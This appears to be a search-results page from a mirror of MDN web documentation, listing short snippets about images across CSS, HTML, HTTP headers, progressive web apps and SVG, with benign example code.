CSS Grid Layout and Progressive Enhancement - CSS: Cascading Style Sheets
r: * {box-sizing: border-box;} img { max-width: 100%; display: block; } .media { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; max-width: 400px; display: grid; grid-template-columns: 1fr 2fr; grid-template-areas: "img content"; margin-bottom: 1em; } .media::after { content: ""; display: block; clear: both; } .media .image { float: left; width: 150px; margin-right: 20px; } .media .text { padding: 10px; align-self: end; } <div class="media"> <div class="image"><img src="https://udn.realityripple.com/samples/89/f993f273dd.png" alt="placeholder"></div> <div class="text">this is a media object example.
... i am using floats for older browsers and grid for new ones.</div> </div> the image below shows the media object in a non-supporting browser on the left, and a supporting one on the right: using feature queries the above example is very simple, and we can get away without needing to write code that would be a problem to browsers that do not support grid, and legacy code is not an issue to our grid supporting browsers.
Relationship of grid layout to other layout methods - CSS: Cascading Style Sheets
ackground-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> .wrapper { width: 500px; display: flex; flex-wrap: wrap; } .wrapper > div { flex: 1 1 150px; } in the image, you can see that two items have wrapped onto a new line.
...in our case, if we remove position: relative from the wrapper above, positioning context is from the viewport, as shown in this image.
CSS Properties Reference - CSS: Cascading Style Sheets
css javascript background background background-attachment backgroundattachment background-color backgroundcolor background-image backgroundimage background-position backgroundposition background-repeat backgroundrepeat border border border-bottom borderbottom border-bottom-color borderbottomcolor border-bottom-style borderbottomstyle border-bottom-width borderbottomwidth border-color bordercolor border-left border...
... display filter filter float cssfloat font font font-family fontfamily font-size fontsize font-variant fontvariant font-weight fontweight height height left left letter-spacing letterspacing line-height lineheight list-style liststyle list-style-image liststyleimage list-style-position liststyleposition list-style-type liststyletype margin margin margin-bottom marginbottom margin-left marginleft margin-right marginright margin-top margintop overflow overflow padding padding padding-bottom paddingbottom padding-lef...
CSS Shapes - CSS: Cascading Style Sheets
basic example the example below shows an image that has been floated left, and the shape-outside property applied with a value of circle(50%).
... reference properties shape-image-threshold shape-margin shape-outside data types <basic-shape> guides overview of css shapes shapes from box values basic shapes shapes from images edit shape paths in css — firefox developer tools external resources a list of css shapes resources css shapes 101 creating non-rectangular layouts with css shapes how to use css shapes in your web design how to get started with css shapes what i learned in one weekend with css shapes css vs.
Animatable CSS properties - CSS: Cascading Style Sheets
ck-size border border-block-end border-block-end-color border-block-end-width border-block-start border-block-start-color border-block-start-width border-bottom border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-width border-color border-end-end-radius border-end-start-radius border-image-outset border-image-slice border-image-width border-inline-end border-inline-end-color border-inline-end-width border-inline-start border-inline-start-color border-inline-start-width border-left border-left-color border-left-width border-radius border-right border-right-color border-right-width border-start-end-radius...
...argin-top scroll-padding scroll-padding-block scroll-padding-block-end scroll-padding-block-start scroll-padding-bottom scroll-padding-inline scroll-padding-inline-end scroll-padding-inline-start scroll-padding-left scroll-padding-right scroll-padding-top scroll-snap-coordinate scroll-snap-destination scrollbar-color shape-image-threshold shape-margin shape-outside tab-size text-decoration text-decoration-color text-decoration-thickness text-emphasis text-emphasis-color text-indent text-shadow text-underline-offset top transform transform-origin translate vertical-align visibility width word-spacing z-index zoom ...
Card - CSS: Cascading Style Sheets
requirements the card component can contain a variety of content, including a heading, image, content and a footer.
...i have decided that i want my image to live within a track that is 200 pixels tall.
Replaced elements - CSS: Cascading Style Sheets
replaced elements typical replaced elements are: <iframe> <video> <embed> <img> some elements are treated as replaced elements only in specific cases: <option> <audio> <canvas> <object> <applet> html spec also says that an <input> element can be replaced, because <input> elements of the "image" type are replaced elements similar to <img>.
...these are defined by the css images module level 3 and css images module level 4 specifications: object-fit specifies how the replaced element's content object should be fitted to the containing element's box.
CSS Tutorials - CSS: Cascading Style Sheets
WebCSSTutorials
scaling background images css allows you to resize images used as an element's background.
... css gradients gradients are images that transition smoothly from one color to another.
Viewport concepts - CSS: Cascading Style Sheets
svg in an svg document, the viewport is the visible area of the svg image.
... you can set any height and width on an svg, but the whole image might not be visible.
appearance (-moz-appearance, -webkit-appearance) - CSS: Cascading Style Sheets
discrete-capacity-level-indicator div{ color: black; -moz-appearance: discrete-capacity-level-indicator; -webkit-appearance: discrete-capacity-level-indicator; } <div>lorem</div> safari inner-spin-button div{ color: black; -webkit-appearance: inner-spin-button; } <div>lorem</div> firefox chrome safari image-controls-button div{ color: black; -moz-appearance: image-controls-button; -webkit-appearance: image-controls-button; } <div>lorem</div> safari list-button div{ color: black; -moz-appearance: list-button; -webkit-appearance: list-button; } <div>lorem</div> safari datalist listitem div { color:...
...fox removed in firefox 64 button-focus firefox removed in firefox 64 dualbutton firefox removed in firefox 64 groupbox firefox removed in firefox 64 menuarrow firefox removed in firefox 64 menubar firefox removed in firefox 64 menucheckbox firefox removed in firefox 64 menuimage firefox removed in firefox 64 menuitem firefox removed in firefox 64.
background-clip - CSS: Cascading Style Sheets
if the element has no background-image or background-color, this property will only have a visual effect when the border has transparent regions or partially opaque regions (due to border-style or border-image); otherwise, the border masks the difference.
...see "the backgrounds of special elements." note: for documents whose root element is an html element: if the computed value of background-image on the root element is none and its background-color is transparent, user agents must instead propagate the computed values of the background properties from that element’s first html <body> child element.
border-style - CSS: Cascading Style Sheets
unless a background-image is set, the computed value of the same side's border-width will be 0, even if the specified value is something else.
...unless a background-image is set, the computed value of the same side's border-width will be 0, even if the specified value is something else.
border - CSS: Cascading Style Sheets
WebCSSborder
importantly, border cannot be used to specify a custom value for border-image, but instead sets it to its initial value, i.e., none.
... though it cannot be set to a custom value using the shorthand, border now resets border-image to its initial value (none).
break-inside - CSS: Cascading Style Sheets
we also have a <figure> containing an image and a caption.
... by default, it is possible for you to get a break between the image and its caption, which is not what we want.
contrast() - CSS: Cascading Style Sheets
the contrast() css function adjusts the contrast of the input image.
...a value of 0% will create an image that is completely gray, while a value of 100% leaves the input unchanged.
saturate() - CSS: Cascading Style Sheets
the saturate() css function super-saturates or desaturates the input image.
...a value under 100% desaturates the image, while a value over 100% super-saturates it.
mask-border-mode - CSS: Cascading Style Sheets
syntax /* keyword values */ mask-border-mode: luminance; mask-border-mode: alpha; /* global values */ mask-border-mode: inherit; mask-border-mode: initial; mask-border-mode: unset; values luminance the luminance values of the mask border image are used as the mask values.
... alpha the alpha values of the mask border image are used as the mask values.
mask-clip - CSS: Cascading Style Sheets
WebCSSmask-clip
text this keyword clips the mask image to the text of the element.
...te formal syntax [ <geometry-box> | no-clip ]#where <geometry-box> = <shape-box> | fill-box | stroke-box | view-boxwhere <shape-box> = <box> | margin-boxwhere <box> = border-box | padding-box | content-box examples clipping a mask to the border box css #masked { width: 100px; height: 100px; background-color: #8cffa0; margin: 20px; border: 20px solid #8ca0ff; padding: 20px; mask-image: url(https://mdn.mozillademos.org/files/12668/mdn.svg); mask-size: 100% 100%; mask-clip: border-box; /* can be changed in the live sample */ } html <div id="masked"> </div> <select id="clipbox"> <option value="content-box">content-box</option> <option value="padding-box">padding-box</option> <option value="border-box" selected>border-box</option> <option value="margin-box">margin-...
mask-origin - CSS: Cascading Style Sheets
in other words, this property specifies the origin position of an image specified by the mask-image css property.
...ation typediscrete formal syntax <geometry-box>#where <geometry-box> = <shape-box> | fill-box | stroke-box | view-boxwhere <shape-box> = <box> | margin-boxwhere <box> = border-box | padding-box | content-box examples setting mask origin to border-box css #masked { width: 100px; height: 100px; margin: 10px; border: 10px solid blue; background-color: #8cffa0; padding: 10px; mask-image: url(https://mdn.mozillademos.org/files/12676/star.svg); mask-origin: border-box; /* can be changed in the live sample */ } html <div id="masked"> </div> <select id="origin"> <option value="content-box">content-box</option> <option value="padding-box">padding-box</option> <option value="border-box" selected>border-box</option> <option value="margin-box">margin-box</option> <option...
mask-type - CSS: Cascading Style Sheets
WebCSSmask-type
values luminance is a keyword indicating that the associated mask image is a luminance mask, i.e., that its relative luminance values must be used when applying it.
... alpha is a keyword indicating that the associated mask image is an alpha mask, i.e., that its alpha channel values must be used when applying it.
<url> - CSS: Cascading Style Sheets
WebCSSurl
the <url> css data type denotes a pointer to a resource, such as an image or a font.
... urls can be used in numerous css properties, such as background-image, cursor, and list-style.
vertical-align - CSS: Cascading Style Sheets
e element itselfcomputed valuefor percentage and length values, the absolute length, otherwise the keyword as specifiedanimation typea length formal syntax baseline | sub | super | text-top | text-bottom | middle | top | bottom | <percentage> | <length> examples basic example html <div>an <img src="https://udn.realityripple.com/samples/b4/e1f0faff5b.svg" alt="link" width="32" height="32" /> image with a default alignment.</div> <div>an <img class="top" src="https://udn.realityripple.com/samples/b4/e1f0faff5b.svg" alt="link" width="32" height="32" /> image with a text-top alignment.</div> <div>an <img class="bottom" src="https://udn.realityripple.com/samples/b4/e1f0faff5b.svg" alt="link" width="32" height="32" /> image with a text-bottom alignment.</div> <div>an <img class="middle" src="ht...
...tps://udn.realityripple.com/samples/b4/e1f0faff5b.svg" alt="link" width="32" height="32" /> image with a middle alignment.</div> css img.top { vertical-align: text-top; } img.bottom { vertical-align: text-bottom; } img.middle { vertical-align: middle; } result specifications specification status comment css level 2 (revision 1)the definition of 'vertical-align' in that specification.
Audio and video manipulation - Developer guides
() { this.video = document.getelementbyid("my-video"); this.c1 = document.getelementbyid("my-canvas"); this.ctx1 = this.c1.getcontext("2d"); var self = this; this.video.addeventlistener("play", function() { self.width = self.video.width; self.height = self.video.height; self.timercallback(); }, false); }, computeframe: function() { this.ctx1.drawimage(this.video, 0, 0, this.width, this.height); var frame = this.ctx1.getimagedata(0, 0, this.width, this.height); var l = frame.data.length / 4; for (var i = 0; i < l; i++) { var grey = (frame.data[i * 4 + 0] + frame.data[i * 4 + 1] + frame.data[i * 4 + 2]) / 3; frame.data[i * 4 + 0] = grey; frame.data[i * 4 + 1] = grey; frame.data[i * 4 + 2] = grey; } t...
...his.ctx1.putimagedata(frame, 0, 0); return; } }; once the page has loaded you can call processor.doload() result this is a pretty simple example showing how to manipulate video frames using a canvas.
Overview of events and handlers - Developer guides
event triggers include the completion of the loading of a resource on the network e.g., downloads an image that can now be drawn on the screen, the completion of parsing a resource by the browser e.g., processes the html content of a page, the interaction of a user with the contents of the page e.g., clicks a button.
... the global object window emits an event called 'load' when the page has finished rendering, meaning that all resources have been downloaded and acted upon, so that the scripts have been run and the images displayed, the global object window emits an event called 'resize' when the height or the width of the browser window is changed by a user, the dom object document representing the html document emits an event called 'domcontentloaded' when the document has finished loading, the dom node objects such as div or button emit an event called 'click' when the user presses the mouse button while th...
HTML5 - Developer guides
WebGuideHTMLHTML5
svg an xml-based format of vectorial images that can directly be embedded in the html.
... more fancy borders not only it is now possible to use images to style borders, using border-image and its associated longhand properties, but rounded borders are supported via the border-radius property.
Mobile Web Development - Developer guides
WebGuideMobile
optimizing images to help users whose devices have low or expensive bandwidth, you can optimize images by loading images appropriate to the device screen size and resolution.
... you can also make use of css properties to implement visual effects like gradients and shadows without images.
HTML attribute: capture - HTML: Hypertext Markup Language
the capture attribute takes as it's value a string that specifies which camera to use for capture of image or video data, if the accept attribute indicates that the input should be of one of those types.
... <p> <label for="soundfile">what does your voice sound like?:</label> <input type="file" id="soundfile" capture="user" accept="audio/*"> </p> <p> <label for="videofile">upload a video:</label> <input type="file" id="videofile" capture="environment" accept="video/*"> </p> <p> <label for="imagefile">upload a photo of yourself:</label> <input type="file" id="imagefile" capture="user" accept="image/*"> </p> note these work better on mobile devices; if your device is a desktop computer, you'll likely get a typical file picker.
HTML attribute: rel - HTML: Hypertext Markup Language
WebHTMLAttributesrel
instead it uses the non-standard apple-touch-icon and apple-touch-startup-image respectively.
...instead it uses the non-standard apple-touch-icon and apple-touch-startup-image respectively.
<audio>: The Embed Audio element - HTML: Hypertext Markup Language
WebHTMLElementaudio
if the server does not give credentials to the origin site (by not setting the access-control-allow-origin: http header), the image will be tainted, and its usage restricted.
...if the server does not give credentials to the origin site (through access-control-allow-credentials: http header), the image will be tainted and its usage restricted.
<figure>: The Figure with Optional Caption element - HTML: Hypertext Markup Language
WebHTMLElementfigure
usage notes usually a <figure> is an image, illustration, diagram, code snippet, etc., that is referenced in the main flow of a document, but that can be moved to another part of the document or to an appendix without affecting the main flow.
... examples images <!-- just an image --> <figure> <img src="https://udn.realityripple.com/samples/6c/98485e5d8a.png" alt="the beautiful mdn logo."> </figure> <!-- image with a caption --> <figure> <img src="https://udn.realityripple.com/samples/6c/98485e5d8a.png" alt="the beautiful mdn logo."> <figcaption>mdn logo</figcaption> </figure> code snippets <figure> <figcaption>get browser details using <code>navigator</code>.</figcaption>...
<map> - HTML: Hypertext Markup Language
WebHTMLElementmap
the html <map> element is used with <area> elements to define an image map (a clickable link area).
... examples <map name="primary"> <area shape="circle" coords="75,75,75" href="left.html"> <area shape="circle" coords="275,75,75" href="right.html"> </map> <img usemap="#primary" src="https://udn.realityripple.com/samples/6a/7e559101b3.png" alt="350 x 150 pic"> result expected live example output the live example above should appear similar to the following images (when using your keyboard tab key): for the left.html link: for the right.html link specifications specification status comment html living standardthe definition of '<map>' in that specification.
theme-color - HTML: Hypertext Markup Language
WebHTMLElementmetanametheme-color
example <meta name="theme-color" content="#4285f4"> the following image shows the effect that the <meta> element above will have on a document displayed in chrome running on an android mobile device.
... image credit: from icons & browser colors, created and shared by google and used according to terms described in the creative commons 4.0 attribution license.
Standard metadata names - HTML: Hypertext Markup Language
WebHTMLElementmetaname
google, bing noimageindex requests this page not to appear as the referring page of an indexed image.
... some crawler robots, like google, yahoo and bing, support the same values for the http header x-robots-tag; this allows non-html documents like images to use these rules.
<object> - HTML: Hypertext Markup Language
WebHTMLElementobject
the html <object> element represents an external resource, which can be treated as an image, a nested browsing context, or a resource to be handled by a plugin.
... implicit aria role no corresponding role permitted aria roles application, document, image dom interface htmlobjectelement attributes this element includes the global attributes.
contextmenu - HTML: Hypertext Markup Language
nt" id="fontsizing"> on this specific list element, you can change the size of the text by using the "increase/decrease font" actions from your context menu </li> <menu type="context" id="changefont"> <menuitem label="increase font" onclick="incfont()"></menuitem> <menuitem label="decrease font" onclick="decfont()"></menuitem> </menu> <li contextmenu="changeimage" id="changeimage"> on the image below, you can fire the "change image" action in your context menu.<br /> <img src="https://udn.realityripple.com/samples/a2/b601bdfc0c.png" contextmenu="changeimage" id="promobutton" /> <menu type="context" id="changeimage"> <menuitem label="change image" onclick="changeimage()"></menuitem> </menu> </li> </ol> ...
... from mdn via mozilla"); } function shareviafacebook() { window.open("https://facebook.com/sharer/sharer.php?u=" + "https://developer.mozilla.org/en/html/element/using_html_context_menus"); } function incfont() { document.getelementbyid("fontsizing").style.fontsize = "larger"; } function decfont() { document.getelementbyid("fontsizing").style.fontsize = "smaller"; } function changeimage() { var index = math.ceil(math.random() * 39 + 1); document.images[0].src = "https://developer.mozilla.org/media/img/promote/promobutton_mdn" + index + ".png"; } result specifications specification status comment html 5.1the definition of 'contextmenu' in that specification.
itemprop - HTML: Hypertext Markup Language
three properties with values that are strings <div itemscope> <p>my name is <span itemprop="name">neil</span>.</p> <p>my band is called <span itemprop="band">four parts water</span>.</p> <p>i am <span itemprop="nationality">british</span>.</p> </div> one property, "image", whose value is a url <div itemscope> <img itemprop="image" src="google-logo.png" alt="google"> </div> when a string value can't be easily read and understood by a person (e.g., a long string of numbers and letters), it can be displayed using the value attribute of the data element, with the more easily-understood-by-a human-version given in the element's contents (which is not part of the...
...the image associated with the item won't be included.
itemscope - HTML: Hypertext Markup Language
<div itemscope itemtype="http://schema.org/recipe"> <h2 itemprop="name">grandma's holiday apple pie</h2> <img itemprop="image" src="https://udn.realityripple.com/samples/60/d063c361c1.jpg" width="50" height="50" /> <p> by <span itemprop="author" itemscope itemtype="http://schema.org/person"> <span itemprop="name">carol smith</span> </span> </p> <p> published: <time datetime="2009-11-05" itemprop="datepublished">november 5, 2009</time> </p> <span itemprop="description">this is my grandmother's...
... structured data itemscope itemtype recipe itemprop name grandma's holiday apple pie itemprop image https://c1.staticflickr.com/1/30/42759561_8631e2f905_n.jpg itemprop datepublished 2009-11-05 itemprop description this is my grandmother's apple pie recipe.
itemtype - HTML: Hypertext Markup Language
>executive anvil</span> </div> structured data itemscope itemtype schema.org product itemprop name executive anvil itemprop brand [thing] itemprop name acme example html <div itemscope itemtype="http://schema.org/product"> <span itemprop="brand">acme<br></span> <span itemprop="name">executive anvil<br></span> <img itemprop="image" src="https://udn.realityripple.com/samples/61/fa8ee62aba.png" width="50" height="50" alt="executive anvil logo" /><br> <span itemprop="description">sleeker than acme's classic anvil, the executive anvil is perfect for the business traveler looking for something to drop from a height.
...</span> </div> result html structured data itemscope itemtype product (http://schema.org/product) itemprop name executive anvil itemprop image https://pixabay.com/static/uploads/photo/2015/09/05/18/15/suitcase-924605_960_720.png itemprop description sleeker than acme's classic anvil, the executive anvil is perfect for the business traveler looking for something to drop from a height.
Using the application cache - HTML: Hypertext Markup Language
if you change a cached resource (for example, you update the header.png image with new content), you must also change the content of the manifest file in order to let browsers know that they need to refresh the cache.
... example 2: a more complete cache manifest file the following is a more complete cache manifest file for the imaginary web site at www.example.com: cache manifest # v1 2011-08-14 # this is another comment index.html cache.html style.css image1.png # use from network if available network: network.html # fallback content fallback: .
HTTP authentication - HTTP
authentication of cross-origin images a potential security hole recently been fixed by browsers is authentication of cross-site images.
... from firefox 59 onwards, image resources loaded from different origins to the current document are no longer able to trigger http authentication dialogs (bug 1423146), preventing user credentials being stolen if attackers were able to embed an arbitrary image into a third-party page.
Cross-Origin Resource Sharing (CORS) - HTTP
WebHTTPCORS
images/video frames drawn to a canvas using drawimage().
... css shapes from images.
HTTP caching - HTTP
WebHTTPCaching
common forms of caching entries are: successful results of a retrieval request: a 200 (ok) response to a get request containing a resource like html documents, images or files.
...this includes static files such as images, css files and javascript files, for example.
Using Feature Policy - HTTP
these features include: layout-inducing animations unoptimized (poorly compressed) images oversized images synchronous scripts synchronous xmlhttprequest unsized media to avoid breaking existing web content, the default for such policy-controlled features is to allow the functionality to be used by all origins.
... send the following the http header: feature-policy: layout-animations 'none'; unoptimized-images 'none'; oversized-images 'none'; sync-script 'none'; sync-xhr 'none'; unsized-media 'none'; using the <iframe> allow attribute: <iframe src="https://example.com..." allow="layout-animations 'none'; unoptimized-images 'none'; oversized-images 'none'; sync-script 'none'; sync-xhr 'none'; unsized-media 'none';"></iframe> ...
Feature Policy - HTTP
ensure images are sized properly and are not too big for the viewport.
... the features include: layout-inducing animations legacy image formats oversized images synchronous scripts synchronous xmlhttprequest unoptimized images unsized media granular control over certain features the web provides functionality and apis that may have privacy or security risks if abused.
Cache-Control - HTTP
it therefore forbids a proxy or browser feature, such as google’s web light, from converting images to minimize data for a cache store or slow connection.
...this includes static files that are served by the application such as images, css files and javascript files, for example.
CSP: upgrade-insecure-requests - HTTP
<img src="http://example.com/image.png"> <img src="http://not-example.com/image.png"> these urls will be rewritten before the request is made, meaning that no insecure requests will hit the network.
... <img src="https://example.com/image.png"> <img src="https://not-example.com/image.png"> navigational upgrades to third-party resources brings a significantly higher potential for breakage, these are not upgraded: <a href="https://example.com/">home</a> <a href="http://not-example.com/">home</a> finding insecure requests with the help of the content-security-policy-report-only header and the report-uri directive, you can set-up an enforced policy and a reported policy like this: content-security-policy: upgrade-insecure-requests; default-src https: content-security-policy-report-only: default-src https:; report-uri /endpoint that way, you still upgrade insecure re...
Content-Security-Policy - HTTP
img-src specifies valid sources of images and favicons.
... content-security-policy: default-src 'self' http://example.com; connect-src 'none'; content-security-policy: connect-src http://example.com/; script-src http://example.com/ examples example: disable unsafe inline/eval, only allow loading of resources (images, fonts, scripts, etc.) over https: // header content-security-policy: default-src https: // meta tag <meta http-equiv="content-security-policy" content="default-src https:"> example: pre-existing site that uses too much inline code to fix but wants to ensure resources are loaded only over https and to disable plugins: content-security-policy: default-src https: 'unsafe-eval' 'unsafe-inline'...
Feature-Policy: unsized-media - HTTP
this restriction solves "layout instability" problem caused by providing default dimensions for images whose size is not specified in advance so that image doesn't change size after loading.
...the page will re-flow every time an image with unknown dimensions is loaded.
Sec-Fetch-Dest - HTTP
header type fetch metadata request header forbidden header name yes, since it has prefix sec- cors-safelisted request header syntax sec-fetch-dest: audio sec-fetch-dest: audioworklet sec-fetch-dest: document sec-fetch-dest: embed sec-fetch-dest: empty sec-fetch-dest: font sec-fetch-dest: image sec-fetch-dest: manifest sec-fetch-dest: nested-document sec-fetch-dest: object sec-fetch-dest: paintworklet sec-fetch-dest: report sec-fetch-dest: script sec-fetch-dest: serviceworker sec-fetch-dest: sharedworker sec-fetch-dest: style sec-fetch-dest: track sec-fetch-dest: video sec-fetch-dest: worker sec-fetch-dest: xslt sec-fetch-dest: audioworklet sec-fetch-dest: audioworklet values audi...
...o audioworklet document embed empty font image manifest object paintworklet report script serviceworker sharedworker style track video worker xslt nested-document examples todo specifications specification title fetch metadata request headers the sec-fetch-dest http request header ...
X-Content-Type-Options - HTTP
however, it also enables cross-origin read blocking (corb) protection for html, txt, json and xml files (excluding svg image/svg+xml).
...ation is of type: "style" and the mime type is not text/css, or "script" and the mime type is not a javascript mime type enables cross-origin read blocking (corb) protection for the mime-types: text/html text/plain text/json, application/json or any other type with a json extension: */*+json text/xml, application/xml or any other type with an xml extension: */*+xml (excluding image/svg+xml) specifications specification status comment fetchthe definition of 'x-content-type-options definition' in that specification.
X-DNS-Prefetch-Control - HTTP
the x-dns-prefetch-control http response header controls dns prefetching, a feature by which browsers proactively perform domain name resolution on both links that the user may choose to follow as well as urls for items referenced by the document, including images, css, javascript, and so forth.
...if the domain names for images can be resolved in advance of the images being requested, pages that load many images can see an improvement of 5% or more in the time of loading images.
Link prefetching FAQ - HTTP
an example using the link tag follows: <link rel="prefetch" href="/images/big.jpeg"> the same prefetching hint using an http link: header: link: </images/big.jpeg>; rel=prefetch the format for the link: header is described in rfc 5988 section 5.
...for example, the next document might contain several large images.
HTTP range requests - HTTP
here the content-length header is also useful as it indicates the full size of the image to retrieve.
...(binary content) the content-length header now indicates the size of the requested range (and not the full size of the image).
206 Partial Content - HTTP
WebHTTPStatus206
status 206 partial content examples a response containing one single range: http/1.1 206 partial content date: wed, 15 nov 2015 06:25:24 gmt last-modified: wed, 15 nov 2015 04:58:08 gmt content-range: bytes 21010-47021/47022 content-length: 26012 content-type: image/gif ...
... 26012 bytes of partial image data ...
HTTP
WebHTTP
for instance, an html page from domain a (http://domaina.example/) makes a request for an image on domain b (http://domainb.foo/image.jpg) via the img element.
... web pages today very commonly load cross-site resources, including css stylesheets, images, scripts, and other resources.
screenshots - Web app manifests
these images are intended to be used by progressive web app stores.
... examples "screenshots" : [ { "src": "screenshot1.webp", "sizes": "1280x720", "type": "image/webp" }, { "src": "screenshot2.webp", "sizes": "1280x720", "type": "image/webp" } ] specification specification status comment feedback web app manifestthe definition of 'screenshots' in that specification.
Web app manifests
ptiondirdisplayiarc_rating_idiconslangnameorientationprefer_related_applicationsrelated_applicationsscopescreenshotsserviceworkershort_nameshortcutsstart_urltheme_color example manifest { "name": "hackerweb", "short_name": "hackerweb", "start_url": ".", "display": "standalone", "background_color": "#fff", "description": "a simply readable hacker news app.", "icons": [{ "src": "images/touch/homescreen48.png", "sizes": "48x48", "type": "image/png" }, { "src": "images/touch/homescreen72.png", "sizes": "72x72", "type": "image/png" }, { "src": "images/touch/homescreen96.png", "sizes": "96x96", "type": "image/png" }, { "src": "images/touch/homescreen144.png", "sizes": "144x144", "type": "image/png" }, { "src": "images/touch/h...
...omescreen168.png", "sizes": "168x168", "type": "image/png" }, { "src": "images/touch/homescreen192.png", "sizes": "192x192", "type": "image/png" }], "related_applications": [{ "platform": "play", "url": "https://play.google.com/store/apps/details?id=cheeaun.hackerweb" }] } deploying a manifest web app manifests are deployed in your html pages using a <link> element in the <head> of a document: <link rel="manifest" href="/manifest.webmanifest"> note: the .webmanifest extension is specified in the media type registration section of the specification (the response of the manifest file should return content-type: application/manifest+json).
Navigation and resource timings - Web Performance
as displayed in the image below, the navigation process goes from navigationstart, unloadeventstart, unloadeventend, redirectstart, redirectend, fetchstart, domainlookupstart, domainlookupend, connectstart , connectend, secureconnectionstart, requeststart, responsestart, responseend, domloading, dominteractive, domcontentloadedeventstart, domcontentloadedeventend, domcomplete, loadeventstart, and loadeventend.
...in the above image, we see via the name property that the file being timed is this document for the rest of this explanation, we use the following variable: let timing = performance.getentriesbytype('navigation')[0]; protocol we can check the protocol used by querying: let protocol = timing.nexthopprotocol it returns the network protocol used to fetch the resource: in this case h2 for http/2.
Understanding latency - Web Performance
we can look at how long a 267.5kb svg image asset took to download.
...if the image been cached, this would have been nearly instantaneous.
How to make PWAs installable - Progressive web apps (PWAs)
the content of the file looks like this: { "name": "js13kgames progressive web app", "short_name": "js13kpwa", "description": "progressive web app that lists games submitted to the a-frame category in the js13kgames 2017 competition.", "icons": [ { "src": "icons/icon-32.png", "sizes": "32x32", "type": "image/png" }, // ...
... { "src": "icons/icon-512.png", "sizes": "512x512", "type": "image/png" } ], "start_url": "/pwa-examples/js13kpwa/index.html", "display": "fullscreen", "theme_color": "#b12a34", "background_color": "#b12a34" } most of the fields are self-explanatory, but to be certain we're on the same page: name: the full name of your web app.
Making PWAs work offline with Service workers - Progressive web apps (PWAs)
ng', '/pwa-examples/js13kpwa/icons/icon-32.png', '/pwa-examples/js13kpwa/icons/icon-64.png', '/pwa-examples/js13kpwa/icons/icon-96.png', '/pwa-examples/js13kpwa/icons/icon-128.png', '/pwa-examples/js13kpwa/icons/icon-168.png', '/pwa-examples/js13kpwa/icons/icon-192.png', '/pwa-examples/js13kpwa/icons/icon-256.png', '/pwa-examples/js13kpwa/icons/icon-512.png' ]; next, the links to images to be loaded along with the content from the data/games.js file are generated in the second array.
... var gamesimages = []; for(var i=0; i<games.length; i++) { gamesimages.push('data/img/'+games[i].slug+'.jpg'); } var contenttocache = appshellfiles.concat(gamesimages); then we can manage the install event itself: self.addeventlistener('install', (e) => { console.log('[service worker] install'); e.waituntil( caches.open(cachename).then((cache) => { console.log('[service worker] caching all: app shell and content'); return cache.addall(contenttocache); }) ); }); there are two things that need an explanation here: what extendableevent.waituntil does, and what the caches object is.
color-interpolation-filters - SVG: Scalable Vector Graphics
therefore, it has no effect on filter primitives like <feoffset>, <feimage>, <fetile> or <feflood>.
... as a presentation attribute, it can be applied to any element but it only has an effect on the following eighteen elements: <fespotlight>, <feblend>, <fecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <feflood>, <fegaussianblur>, <feimage>, <femerge>, <femorphology>, <feoffset>, <fespecularlighting>, <fetile>, <feturbulence> usage notes value auto | srgb | linearrgb default value linearrgb animatable yes auto indicates that the user agent can choose either the srgb or linearrgb spaces for color interpolation.
divisor - SVG: Scalable Vector Graphics
WebSVGAttributedivisor
the divisor attribute specifies the value by which the resulting number of applying the kernelmatrix of a <feconvolvematrix> element to the input image color value is divided to yield the destination color value.
... svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="convolvematrix1" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 2 0 0 0 0 0 0 -1" divisor="1"/> </filter> <filter id="convolvematrix2" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 2 0 0 0 0 0 0 -1" divisor="8"/> </filter> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" width="200" height="200" style="filter:url(#convolvematrix1);"/> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" width="200" height="200" style="filter:url(#convolvematrix2); transform:translatex(220px);"/> </svg> usage notes value <number> default value ...
kernelUnitLength - SVG: Scalable Vector Graphics
if the attribute is not specified, the x and y values represent very small deltas relative to a given position, which might be implemented in some cases as one pixel in the intermediate image offscreen bitmap, which is a pixel-based coordinate system, and thus potentially not scalable.
...if the attribute is not specified, the x and y values represent very small deltas relative to a given position, which might be implemented in some cases as one pixel in the intermediate image offscreen bitmap, which is a pixel-based coordinate system, and thus potentially not scalable.
mask - SVG: Scalable Vector Graphics
WebSVGAttributemask
.41 0.79,0.41 0.32,0.74" /> </mask> <!-- punch a hole in a shape of a star inside the red circle, revealing the yellow circle underneath --> <circle cx="50" cy="50" r="20" fill="yellow" /> <circle cx="50" cy="50" r="45" fill="red" mask="url(#mymask)"/> </svg> since svg2, the mask attribute is defined as a css property and is a shorthand for many other properties: mask-image, mask-mode, mask-repeat, mask-position, mask-clip, mask-origin, mask-size, and mask-composite.
... as a presentation attribute, it can be applied to any element but it has noticeable effects mostly on the following nineteen elements: <a>, <circle>, <clippath>, <ellipse>, <g>, <glyph>, <image>, <line>, <marker>, <mask>, <path>, <pattern>, <polygon>, <polyline>, <rect>, <svg>, <symbol>, <text>, <use> usage notes value see the css property mask default value none animatable yes specifications specification status comment css masking module level 1the definition of 'mask' in that specification.
targetX - SVG: Scalable Vector Graphics
WebSVGAttributetargetX
the targetx attribute determines the positioning in horizontal direction of the convolution matrix relative to a given target pixel in the input image.
... only one element is using this attribute: <feconvolvematrix> usage notes value <integer> default value floor(orderx / 2) animatable yes <integer> this value indicates the positioning in horizontal direction of the convolution matrix relative to a given target pixel in the input image.
targetY - SVG: Scalable Vector Graphics
WebSVGAttributetargetY
the targety attribute determines the positioning in vertical direction of the convolution matrix relative to a given target pixel in the input image.
... only one element is using this attribute: <feconvolvematrix> usage notes value <integer> default value floor(ordery / 2) animatable yes <integer> this value indicates the positioning in vertical direction of the convolution matrix relative to a given target pixel in the input image.
visibility - SVG: Scalable Vector Graphics
